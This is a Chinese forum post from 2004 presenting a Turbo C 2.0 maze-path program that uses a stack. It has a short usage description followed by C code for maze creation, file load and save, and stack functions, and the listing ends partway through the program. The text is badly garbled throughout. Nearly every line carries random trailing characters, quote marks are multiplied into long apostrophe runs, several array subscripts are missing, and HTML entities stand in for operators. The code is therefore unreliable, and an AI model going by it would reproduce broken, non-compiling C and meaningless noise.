QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7655|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>; r9 R& ]* Y5 i: g0 q
< align=left>程序目的:
% R, P' Z6 o) ]5 C! A" ~输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并/ O! _9 b  o% y: G  }8 h6 |- m
显示在屏幕上。
0 E* Q% x; s( s$ g& a% U程序实现:1 T5 Y9 M! O/ l5 i
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
8 C1 }, U# ]  u% g7 z文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载/ G* }' ~3 ^5 u" ^1 R
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫+ n0 R' z- c4 u8 d2 X
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
- C$ `! H9 r! X+ q1 h  }否则会出现错误信息。输入开始时全是墙,用上下左右键移动,. K! f; Z9 Q8 _* @! Q3 I% ]
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以& {1 y& [# M# _. B. T- l
将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,4 x5 i8 G8 U' ?
找到路径时,屏幕下方会出现Path found,否则出现Path not found。! N3 M" i# n& g6 k
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
2 S8 v+ b  L7 b. J, Q不可以在VC上编译。& t  A! l1 O* l4 D
下载DOS版和windows版的迷宫游戏全部代码6 f! i& D& |6 }4 u
用户名:migong
& p& b4 x+ q0 J: R; L1 c----------------------------------------------------------------------------------
& e. [8 N. t5 ^, T1 H. v/*7 x8 B+ H! a8 q) ^( H7 z, U$ k' `3 l# p
MazePath Demo BY Turbo C 2.0
& E+ ?* i+ K9 E1 i9 ~Copyright(c) RoverUnion. All right reserved.) ]" B8 l. k$ \3 J. H
Filename: Maze.c3 O0 `0 f: a2 M5 ^- V/ h. I% t
Author Dongchengyu.- A. P' I2 ^) F5 p: L: L; a: K8 Z
Ver 1.10$ b6 `7 o2 ~5 g2 ]+ r6 ]6 i2 B
*/
! l4 [. v" z! c3 M- D, N#include &lt;stdio.h&gt;
, F) k! k1 {% j. u- \#include &lt;stdlib.h&gt;( Y: O0 A" n8 S0 V
#include &lt;malloc.h&gt;
$ s. c& U% J$ O$ U) Z5 i#include &lt;conio.h&gt;
# y9 j1 X( `7 q* F#include &lt;dos.h&gt;4 C+ a; H8 m3 K  s
#define OK 1! h& x. S! a( Y2 k/ B
#define ERROR 0
# k; N& }- w5 v' Y8 V' ?3 x. x3 F! U( H9 }#define TRUE 12 z6 R) T( B! U, @
#define FALSE 0/ |5 O/ c9 U% G6 F: {1 k  ~
#define F9 0x43
) G% G2 Y8 o. M: l6 e: g0 P1 ]4 m0 i#define Esc 0x1b
& H  e$ H8 P7 U. V% O#define Del 0x53
9 t. a8 X( n2 Q) H% b#define Home 0x47) M$ ?7 T- a$ i+ b& X
#define End 0x4f1 ^% p4 n1 A2 d2 l' a( q7 S7 h
#define Space 0x205 s% E- ?7 d  N, n
#define Up 0x48  m! C3 }8 t4 k% q
#define Down 0x50
/ e' }4 U/ g# i! _/ E$ B; R& d: y#define Left 0x4b
0 R- d% |! E' i) R' {. S$ z& M#define Right 0x4d$ u: e% ^3 q# H4 B) P9 Y8 S, v
#define Enter 0x0d
9 j: g3 G1 X6 n+ R5 j- x#define F2 0x3c
( D; f' q9 d( Q( @" t  s$ \#define F3 0x3d5 b4 Q, b0 i; e
#define STACK_INIT_SIZE 2001 u0 R% j8 }0 a8 W$ V* u% @0 P
#define STACKINCREMENT 108 y. `0 Z; v4 i- H# W' z/ D% @
typedef int Boolean;5 U$ I8 [* m3 {+ p+ S# B
typedef int Status;2 ~8 c2 v" M: ?. w% D3 T
typedef struct {
' c- m) w3 p9 p: u' ?% J& lint x;& r. s  N1 K- B* m3 D
int y;
6 K0 y" d- o* F} PosType;
! W3 Z2 ~1 U/ Ttypedef struct {: }" T! X0 Q* o& O) b
int ord;
' \% ~1 u  ~! e% b# l3 YPosType seat;
) j  s- Z" U, F" @8 c. l  L" _# tint di;* }; K1 z. E  C5 {$ x3 F. z; i4 {
} SElemType;
0 }/ E( O. M' d/ i9 [typedef struct {
( r) [4 V) z  ^3 i. N: Nint td;+ B# T+ i1 q8 y
int foot;! P& |4 |. Y( @
int mark;
* [0 d0 [% T  R6 V% v9 o0 [/ y/ g: A} MazeType;
9 N: U. ?' y9 h3 g( a9 g- u' Ftypedef struct {! ?' K/ g; j9 W# D3 w6 X
SElemType *base;8 \. H2 n4 Q# t2 s9 V
SElemType *top;
( }" n5 m3 U8 S% Q( g( O; |int stacksize;
1 Q2 c# z! d- {} Stack;
) u1 E8 X2 u$ \6 w. bint Maze[20][30];- [0 L; \. J0 B
MazeType maze[20][30];4 ]0 O2 k& }4 l" h( Y6 q# |, }" ]
PosType StartPlace;. `& Y) E% W8 _) R! w
PosType EndPlace;8 w/ a% j: R" m+ h
int count;
0 f! s3 y& w4 {" \6 Q- }int m,n;
* }( }. r+ x5 _0 t9 hBoolean b_start=FALSE,b_end=FALSE;; u! n# b  e8 K3 k7 s- Z, R
void CreatMaze(void);, c8 L4 i% O  t! u2 T2 d0 F1 q
Status SaveMaze(char *filename);
" U9 b2 T! q" T/ YStatus LoadMaze(char *filename);
* D8 G. J# W4 q: D: Q  \7 K. Xvoid Error(char *message);( j3 g3 |* c7 x& y" @+ F
Status InitStack(Stack *s);
" p4 V) z% e; @9 lStatus DestroyStack(Stack *s);! h. e( z% K5 m* x8 W
Status ClearStack(Stack *s);
/ C# t- A% j: L1 Q" _8 uBoolean StackEmpty(Stack *s);9 ~1 y8 O5 k9 Q: b$ P* w5 T7 [
int StackLength(Stack *s);* V5 {- I- @0 Q# `
Status Push(Stack *s,SElemType e);
: ]8 I: F6 S9 gSElemType Pop(Stack *s,SElemType e);' ~# H& @# e/ ~) @; T3 J1 F8 u- D
Status GetTop(Stack *s,SElemType *e);' f! b9 H! E5 ?4 M
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
& f, w1 o* ]: q, S3 C; @/ `Boolean Pass(PosType curpos);! |6 o; p& F2 j! f* B1 N
void MarkPrint(PosType seat);
4 ~  V3 |+ I' X$ H8 N/ J/ nvoid FootPrint(PosType curpos);
# D! a4 T; e( `/ t9 j$ z1 fPosType NextPos(PosType seat,int di);# T3 k) t3 C& q1 D0 `
Status MazePath(PosType start,PosType end);
( Y5 B9 b8 }5 [: \; q  Svoid CreatMaze(void)
: a- q& S1 c# e/* Form the maze. */
6 C- [; ^& F& b  B, l1 @{
; i  ]/ B$ T; Dvoid Error(char *message);
& r; V" _3 K6 a7 w2 \1 b. YStatus SaveMaze(char *filename);
: {: i& k1 e5 ?+ ~, I' X, qStatus LoadMaze(char *filename);* u" H" k7 l# @( c$ ]
int i,j;
6 ]& w5 g1 O1 L) {3 Uint x,y;
; d0 y8 _* H+ ~9 B: Wchar c;
9 C2 A/ X3 Q3 M% S, Z1 bchar savename[12],loadname[12];4 O/ M; P4 \+ A
Boolean flag=FALSE,load=FALSE;" ^: }" K$ j$ {5 p) \3 S( Q
clrscr();
' e3 f. D% D, y' l$ gprintf("Menu:\n\n");( U7 w3 b* k: `5 _7 A7 P
printf("1.Load Mazefile*.dd)\n\n");
1 F* I9 O  _4 s: \printf("2.Input Maze:\n\n");
8 w& N6 \2 b# N# {3 hprintf("Input your choice: ");' r+ i1 ?  H3 Q& X7 h
do: t, d$ ~" {; P# e: x+ T& l# o
{
: F! N+ k3 }' @+ Rc=getch();) ^! M' k& y/ n, d
switch(c)
% H( g9 n8 E8 [% p{* |2 o1 Z8 n+ U. I, u  h5 ~3 W
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
# x! N7 A3 A, j9 d/ Y/ }+ r5 ?  G) |case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;; |# T9 B' ^' D) Y/ Y, |& W
case Esc: sleep(1); exit(1);' h7 T4 i( p6 ]1 s
default: break;
' W3 u; @' \) Q; \8 l5 G7 r}' \8 v7 {& Z) M  X2 W
}( x% ^0 T2 u1 |2 U  N1 V0 N
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;' {6 H: t; V" x7 U7 y+ k& b
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
5 O, ~0 `" f1 i5 [: ]{
; ?, z9 M+ r) m; `, Z1 A) a) u: lprintf("\n\nLoadName: ");3 g7 I4 Y8 w+ M+ G
scanf("%s",loadname);9 X6 g6 L6 h& j1 r, u+ ^0 ~' i( L
if(LoadMaze(loadname))
" v+ a0 I6 I/ M; x( U$ V{
$ X- q, k; Y# Z) L& zsleep(1); load=TRUE;6 f1 M2 W. t# F9 o2 y( O
}
" g" M$ V8 R/ m# G! C7 R8 \else { gotoxy(1,9); printf("Load fail! "); }  E: ]: e; U0 B# u
}
# Q6 J% _1 u8 m  F8 I9 xif(!load)2 X8 H- K2 b$ G. J$ w! v; s
{
" W' a! y; _5 S5 {printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
. ~! ~! n4 g5 n7 p( iprintf("\nInput Length :\n");
4 I+ T' T, i) M, L, Xscanf("%d",&amp;m);0 C+ e6 N  p3 |6 |" [' ~
printf("\nInput Width :\n");0 w# l( z5 ?; w  z" k" N+ E3 a
scanf("%d",&amp;n);5 m2 W# D& s5 c. I# Q. L
if(m&lt;4||n&lt;4) Error("Input");
2 ?  w8 V5 f! P' ?# f% z- i0 tif(m&gt;30||n&gt;20) Error("Maze too large");
. p( {9 n% f+ o' }; dfor(i=0;i&lt;30;i++)
  \. i$ l. ^0 g* Ifor(j=0;j&lt;20;j++)7 Q1 Y  H. p# E3 C
Maze[j]=2;0 f" N+ k: }* ?0 c, M: j: T4 y% T
StartPlace.x=0;
+ q6 ]# V7 G; z! q% }6 f3 DStartPlace.y=0;6 B! \! p: n  D. i2 Y- |
EndPlace.x=0;
& V* w) k: r( z" x4 Z3 i  pEndPlace.y=0;
* C! W& L# i' ^* h* x  }/ p5 r. V% Vclrscr();
  L" g; ]) f9 G% G# f/ u0 Pprintf("\n");! ^& M+ K# X; C
for(i=1;i&lt;=n;i++)9 n/ I5 a  h9 D9 e" J$ ]- h
{
9 {: N  Y6 R5 _' I6 j6 nfor(j=1;j&lt;=m;j++)
' L' c" S1 v) ^, {4 D( o{2 ]1 ^- v1 i( u; H9 V  \2 t( R
printf(" #");- ^/ Y% N7 F4 W# j% O
Maze[i-1][j-1]=0;
6 k5 O- M- s$ ^0 C}" a" q7 a, p0 f0 O$ C* n6 x" h
printf("\n");! ]& _( t3 I, p8 C
}
, ]' A' {5 E" u7 @6 s; c- p}% ^6 z6 o- B' k3 T* C7 c
gotoxy(65,5);
3 M' e2 ^' T4 t# Lprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");# @- K4 h7 v/ x7 L6 V1 V. Q( {8 O
gotoxy(65,7);0 _% Q; L" r' G9 G3 ^6 M
printf("Start:Home");
8 s+ g2 v3 g) ?4 P: x6 {gotoxy(65,9);
: l+ U4 f" D2 D6 A8 L# sprintf("End:End");+ x! k6 l5 \  U/ R0 E
gotoxy(65,11);
' P6 O) a* c1 I) d6 _3 S* zprintf("Delete Wallel");
4 k: v  g; m% P' lgotoxy(65,13);- m) |1 s8 c, i* `: s# O5 ]: K# Y
printf("Enter Wall:Enter");
: H2 k) R: s* O( Z0 Igotoxy(65,15);$ t2 ?/ n7 T, q# J  m
printf("Save Maze:F2");: N( N, O& r$ X  u, A
gotoxy(65,17);) Z8 B. K' c+ X
printf("Complete:F9");# l% |+ |9 T/ Q8 ?- d# h5 y7 F. }
gotoxy(65,19);
5 z4 ?+ d( g- Cprintf("Exit:Esc");
/ o( Y7 n2 A& G* m  kgotoxy(4,3);
$ m4 G$ D" r% W. n. G0 Ox=4;y=3;
6 T8 n2 N& U% A0 ^do
" j: Y9 w& k  }; ]2 @2 r{
! X/ @# I, H6 N% C4 h7 ec=getch();
9 t3 C3 N8 k. q! u+ e  `: e( Xswitch(c)
+ Z0 n2 J4 S9 _% I0 e4 K{
/ P$ K; P; T" ]; fcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
" ^$ j# t# S% _' ?. S; D. A  l- X. {& Wbreak;
& W  N, K, X% ~- s1 l. g6 p* ~# u2 Ucase Down: if(y&lt;n) { y++; gotoxy(x,y); }/ `8 ?. Q/ p6 M" O& f
break;4 _. v1 L' O/ W, ~
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
4 {" [' o. }( C7 }# X* D: Zbreak;
; R3 ~# U4 c4 G6 g+ |8 f& rcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }/ D4 Y/ B2 _* f
break;
8 {8 L4 L# f# N. X7 ucase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;8 \% @$ o6 R& C
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
+ A8 F5 n: `0 H8 V  Sputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);% v# N/ V1 `( ^4 a/ i! V, ^- A
break;
/ u) T, O+ ]: U3 m& h9 N* c5 l1 ?case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;# ?3 T. t# W! ^9 M9 O8 V: s
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
: I* J! l2 n  |& y7 tputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
0 E9 L) U' a; ?# R* Fbreak;  I* c4 Q  l1 c" S
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
+ ~8 h! i* p* \5 X) A* E4 k6 v9 r{
4 J7 r+ M% P% Y3 KStartPlace.x=x/2-1;9 S" L- P! F: D& Y) A
StartPlace.y=y-2;
) |4 L1 f  w3 Q& B8 }8 oputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
5 z) \+ V  P- |2 I  O- lgotoxy(x,y);
" z# z- \8 Z5 M0 p; gb_start=TRUE;8 z: [0 R) D( {3 K. N1 w" n5 q
}4 Q4 Q( ?2 ]1 U3 `, P
break;# W7 T. r, T9 G* u- U) \
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)" j  M# v% F- Q3 M6 {" E% b
{( V+ y9 O' P2 h% T4 F
EndPlace.x=x/2-1;8 A- ~" ]  b7 ]$ Z3 _6 x- e# I
EndPlace.y=y-2;1 |% [0 ]0 b) r8 @
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');+ U  e6 e. _& Q9 q4 \6 G& @4 C
gotoxy(x,y);
9 q4 T3 N) }0 X3 ~6 gb_end=TRUE;
2 W& C: _7 x& G}& U! M+ b8 E4 s/ Y( @0 k
break;# h1 u7 b0 I" K' \# z2 c  j
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);6 |( H0 T% I8 N) `) }
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
; L! P0 W4 B: Acase F2: gotoxy(2,22);8 z6 _# \; {+ f1 T* k, n) j  R
printf("Savename:");
0 r5 v# G2 h5 `% r7 q( Q0 sscanf("%s",savename);
0 B* v6 |( [# \% T, ?$ ngotoxy(2,22);
2 K' I6 K3 }" j5 r' Kif(SaveMaze(savename)) printf("Save OK! ");) M$ B) q, A9 J
else printf("Save fail! ");9 x+ M9 B3 A1 v
sleep(1);' Q5 b, l) [3 k0 H  L% [
gotoxy(2,22);
" D2 r2 ~  U. B7 wprintf(" ");
$ M- M! r4 Y2 j6 {8 [5 B% X* Ggotoxy(x,y);& [7 g$ F. f. l3 I; ^: e! a
break;
# ^4 R) Y: T5 j" o& D9 x" Odefault: break;9 n" j9 M5 Z' P: B
}+ V8 R7 r& D+ r+ b3 T& Y+ v4 F! ~
}
& |, E1 `# @+ Q& ^- pwhile(!flag);" p- S# q. @7 w& e, \* v6 s
for(i=0;i&lt;30;i++)
1 v$ v" d. G9 `* n1 A) k: qfor(j=0;j&lt;20;j++)
2 V$ j7 d# a. v9 P{
- S! K& m- Q  c. ~maze[j].td=Maze[j];
$ U9 _; r/ B9 c0 m  ^# ~; g- m7 smaze[j].mark=0;/ x0 W# |( R0 O0 U. N" l
maze[j].foot=0;
, t# q2 E/ i4 J. p, R}, o' i3 _9 P4 A3 h6 V; u* t
}
& h, M0 Z, n9 m- YStatus LoadMaze(char *file)
2 }1 {5 k* {3 \: c) x/* The maze has been loaded. */
* X  v9 `8 z+ [% M{+ u& j; P! S2 C& n
FILE *fp;
+ R8 S4 A8 _& {char *buffer;7 F& Y7 [6 L" d; A% Q
char ch;% N/ t  ?9 Q- m4 M
int i=0,j,k;6 i7 j+ x+ {: x, _: L! H
Boolean len=FALSE,wid=FALSE;
' X+ g8 T6 P9 L3 j1 Bif((fp=fopen(file,"r"))==NULL)
0 {9 Y: Y$ p+ X3 e6 ^# kreturn ERROR;
" w: W5 G! T  ^  [8 Nbuffer=(char *)malloc(600*sizeof(char));
0 X4 ]3 o$ ^& x3 bch=fgetc(fp);) e6 S+ `# h) @4 E, x
while(ch!=EOF)' y+ r$ U/ g2 Y, [5 M
{
! ^' ~& [# z# p0 a5 L+ G! @9 Rbuffer=ch;' v& v) [! j3 V1 F8 a! v' N
i++;* I* G' h$ L$ B5 a9 p! ~& b  [
ch=fgetc(fp);
8 J/ }9 y& w% N& V6 e% p}
% s0 h5 w5 e; J2 |7 S2 t  O. m3 Km=30;n=20;
! l( v$ c/ D8 X) h: ~for(i=0;i&lt;600;i++)
$ E: U4 M& X! c2 S7 S8 D: L{
& X6 n1 q# \7 ej=i/30; k=i%30;
- ?5 g  B( l0 o7 k, S& G  iif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
( E/ i% Y7 R" C. N3 Kif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
- ~9 `  g; i( y7 Pswitch(buffer)
9 t, r) y/ |4 u3 m6 |{+ e0 i9 ]) j( E
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;5 @  p' N- D; |4 c) u1 g* ]
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;" A2 a% `5 ~. I" k1 T
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
& y) ^4 T+ N" bcase ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
2 o' G" M  A  T5 r% aStartPlace.x=k;3 u9 b, {  S0 F7 z+ M7 k
StartPlace.y=j;
, T( D/ c- M1 U% M1 W! a( Xb_start=TRUE;& G3 T; N4 m" K% `
break;
. m6 r: A; j1 d  A( jcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;2 c& P$ Z4 ~% M) o1 F
EndPlace.x=k;
4 r& x1 _2 S9 K9 B8 H* ]7 {' w' NEndPlace.y=j;
, o: A1 F9 G" t# z* J# V/ Wb_end=TRUE;
2 ]- M4 c) w0 M8 d/ D, l2 P# Zbreak;! F8 C. s4 B9 X) z
default : break;
& M0 A  J* A2 L  p# d5 H, o}
/ `( d  R) T9 M4 v7 |}" d2 h: t! U$ t
fclose(fp);( c9 M8 r) ~* ~4 E; T6 ?7 u
clrscr();' l# J  z* L" u8 {2 L2 j0 ^
for(i=0;i&lt;30;i++)
5 K7 W/ ~* Q/ V4 n. C' xfor(j=0;j&lt;20;j++)- r, _0 W8 n1 c( A+ A4 }0 l. w
{, A# i8 k( m3 [6 c
maze[j].td=Maze[j];/ ^1 z6 o2 t- S& z) g1 r5 ^6 v8 n% n
maze[j].foot=0;
9 S2 h% o  @2 L) {/ j6 xmaze[j].mark=0;$ w5 W( G, F$ `
if(Maze[j]==0)% d) D% t) z5 C9 v0 n! S
{
( s  b6 S  |* k4 ygotoxy(2*i+2,j+2);
6 U+ ?. T' ?1 M- eputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');! d! E9 c/ z( s. ?7 V$ Q  n
}
. ^. {+ d$ L/ q$ y( B}
) I1 U9 f4 ?8 Bgotoxy(2*StartPlace.x+2,StartPlace.y+2);
: z( q; {% h. U: `putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');9 k9 K% z7 l  h1 `4 ~' n/ ~1 |
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
  e7 `- l4 ~) g7 q7 Gputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
1 U' ^4 c! @. Creturn OK;3 w) w" B1 ^/ l: j/ Z- D7 l
}
5 D8 \3 o0 q& H# l+ PStatus SaveMaze(char *filename)
: x3 k! E8 B- g' m  K. m/* The maze has been saved. */
& T! `0 Z  s- B+ w; q# Z{4 B: O6 W9 B% r% y
FILE *fp;- _; q2 B3 c7 e* C% Y
char *buffer;
8 L3 J9 _7 w  X; x5 k, p$ S$ S3 bint i,j,k;
) U; b) l5 ?  Dfp=fopen(filename,"wb");
/ a- B6 R6 i& j; O3 z" N7 ybuffer=(char *)malloc(600*sizeof(char));, Z- X5 e* ?. w  _8 i
for(i=0;i&lt;600;i++)
9 B$ q6 F% c- I1 h7 {( E0 p{; }/ ^2 Q" U. a4 T4 ^
j=i/30; k=i%30;
& C# N' {0 I+ f. S: d7 Nswitch(Maze[j][k])
8 }7 `/ w9 `) u3 P0 ?% a) \- H2 G{% I4 J4 W! p/ F, H4 F& a
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
2 Q, G  F- f" P9 e! ycase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;. Z+ A7 G+ H$ @3 x' g
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;2 \2 Z7 Y, o3 L+ M1 c: B/ `
default : Error("Write"); break;  e* ?/ ^# A* n
}
. _/ K$ b* U! {4 Q& l! U* S8 w/ bif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
! ?( s/ e; Z+ y3 ^. H% b* sif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';( k4 W+ u2 |- F( l
}
' ~# ]1 j. M7 ]fwrite(buffer,600,1,fp);. v. L/ W. j( L4 @9 y
free(buffer);
( H+ {" k3 S5 P& ], D: z. sfclose(fp);. e. p. S6 ]; z8 V- u% l
return OK;" p% O$ P& l6 o1 j: @2 e7 \0 V$ X& ]
}
! [$ @& o% X4 nvoid Error(char *message)- a% q, N; q7 W9 g8 r. R
{( ?3 N5 y. X' @
clrscr();  u7 i6 |2 \% r; c5 A$ h8 j
fprintf(stderr,"Error:%s\n",message);" P7 G3 G$ ?) t- t
exit(1);
& y$ c0 ~$ ^! D! C* X1 u; [( Q} /* Error */
4 b  {. C9 q% M. ~. B' Q  q& s# _& j, s( S$ A9 {9 N5 e+ h* d1 E
Status InitStack(Stack *s)
8 b( u6 [2 c# n. n+ N/* The stack s has been created and is initialized to be empty. */7 P9 }' z$ J8 B5 [' Z* w
{/ p4 N, x1 d: O- L& S$ B% k
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
" t1 T9 a* p9 J# Eif(!s-&gt;base) Error("Overflow");6 q& Z- g5 H! y/ F2 y
s-&gt;top=s-&gt;base;, A& D+ R. _4 [4 I- u! Z! q3 g
s-&gt;stacksize=STACK_INIT_SIZE;
9 x6 c2 K4 k/ x; areturn OK;
3 k+ w0 Z9 ^4 \( j9 L/ G+ {7 n} /* InitStack */
$ [( w! R! @7 cStatus DestroyStack(Stack *s)
3 J7 l1 @" y6 j# J/* The stack s has been destroyed. */, S8 n" @& C% q& J, W! }
{
+ t$ D5 d4 l1 k. P3 n" J8 Os-&gt;top=NULL;
/ R1 G5 R. R8 c! E6 ^s-&gt;stacksize=0;1 z, z$ ^9 R  a7 Q2 u* a. n% V; k
free(s-&gt;base);$ w' Z0 D  J" \" z) H
s-&gt;base=NULL;
, j, U& ]& o2 d  V, V. c' Creturn OK;
. x+ B6 p& ^7 D; b! B} /* DestroyStack */
) _4 E3 v5 I. h$ `: w* `- SStatus ClearStack(Stack *s)' h8 j: Q) \3 K8 |, o8 t
/* The stack has been clear to be maximum. */( k7 n8 l4 A6 R  v/ i, s+ \# F. |
{7 k3 O6 ?/ ?* h3 d- g* |
s-&gt;top=s-&gt;base;( b; \) {. m+ _
s-&gt;stacksize=STACK_INIT_SIZE;
% n! l5 J! o6 T  X/ sreturn OK;0 R& [6 H( d" Z
} /* ClearStack */( {& @0 c% F, d: J$ e& {& R% M9 x, G
Boolean StackEmpty(Stack *s)
1 J2 d# J  Z! d& T" o/* Check if the stack s is empty. */' w/ M% b3 k4 o- n$ ~7 \
{  S& \" m9 T1 ?) Q
if(s-&gt;top==s-&gt;base) return TRUE;
# b! C! l' t2 I  U7 l& Yelse return FALSE;
/ W9 {& t% O5 c( f* w3 M+ ?7 x} /* StackEmpty */. M. g) K* N, v0 n: O. x. }+ T
int StackLength(Stack *s)
' S+ O2 K6 a" a/* Gain the length of the stack s. */
& G) t8 r2 h+ r- y( U( a6 ?{  a$ ^9 ^* u% g. z# f" E
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
' ?+ N  B/ \; a" m$ Belse return 0;
$ t5 v% `) K7 y1 n3 Q1 W} /* StackLength */! t8 W' {8 S# a; w0 o
Status Push(Stack *s,SElemType e)
% \/ ^5 q: l8 f/* The element e has been pushed into the stack s. */
4 `( v; ?9 o6 M+ q+ P8 z0 \8 ^( H{
2 q5 v, ~0 L6 A0 Vif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
7 R" d% |2 m6 s/ N2 V{
8 ?" Z8 g- E: v" Ls-&gt;base=(SElemType *)realloc(s-&gt;base,/ N- Q$ n* ]) R9 R4 \
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));, B1 ?8 t6 J, c6 e
if(!s-&gt;base) Error("Overflow");
  S& u# z. R$ l% xs-&gt;top=s-&gt;base+s-&gt;stacksize;4 u- A  z3 ^% i9 o& h. m! n. T
s-&gt;stacksize+=STACKINCREMENT;3 c+ H' D" s4 i# T' I: L. v8 r
}. l1 H+ R3 t" n) m3 M
*s-&gt;top++=e;( h  T# i6 V5 v; P5 D( p
return OK;6 F& M& N, p4 |- b9 Y' y3 p) H' A
} /* Push */# O' s( P0 g( c7 p. Z
SElemType Pop(Stack *s,SElemType e)
1 h: S/ U& J2 q$ z. A5 A. _9 W/* The element e has been removed from the stack s. */
4 W, |% b. M" u" q* R3 c{) k8 K, U* r6 ?7 O9 W! }6 T* l
if(s-&gt;top==s-&gt;base) Error("op");
4 h0 [* @9 @; |4 t. De=*--s-&gt;top;
3 e2 N" ?7 ?0 kreturn e;6 {* x: ?; k9 a6 z' w
} /* Pop */
. f/ R( v4 v9 R) p6 PStatus GetTop(Stack *s,SElemType *e)7 _) {+ _  ~( N# {0 G) A; m+ Z
/* The element e has got to the top of the stack s.*/
% D6 v- T- Y" q9 Q{' g8 l  e0 T7 M7 f) _$ Z! t3 C
if(s-&gt;top==s-&gt;base) Error("GetTop");
9 O" n+ J$ u. B, y*e=*(s-&gt;top-1);6 l& m" J4 W7 G- B
return OK;+ h# ]. X* U& c# y' {
} /* GetTop */
5 T5 [  U; h  b2 N9 z( ?8 W: J/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
5 A: a! @  Y) `" g/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))9 g! k( |* E  R  ?3 w; [
{; e5 W; _/ P+ Z/ \$ {7 ]# }
SElemType p;+ g; K$ V9 t7 s
int result;& P. ]7 j" i& C! ?
if(s-&gt;top==s-&gt;base) return ERROR;
" p! Z. M4 z; H+ j' ]5 q+ up=s-&gt;base;! i$ H! y7 ~( {
while(!(p==s-&gt;top))
# L8 n* [  I1 x8 J  f' ^, C{
( W5 u$ V" `: Z+ W" fresult=(*visit)(p);0 J( q. ]0 o7 e% l' a/ K, x
p++;
* V4 Y% K0 Y/ G! s}$ U* f# B) I$ ?. k
return OK;
. w" c) C: C  K1 C! W! u8 r} */: {- S* P( T/ N5 h
Boolean Pass(PosType curpos)
' W0 ~+ x4 i7 j4 f/* Check if the current position can be passed. */. [$ m" s" A$ r+ \
{, ]. S6 J9 D3 d1 f
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
3 [8 Y. A5 V- @6 p) ~maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
1 z  ]8 T9 B$ \2 `) e5 i8 j/ O: j8 freturn TRUE;7 u! S! @/ ]$ j* Q  N
else return FALSE;# i* k: n( b/ G6 C5 B* ]
} /* Pass */
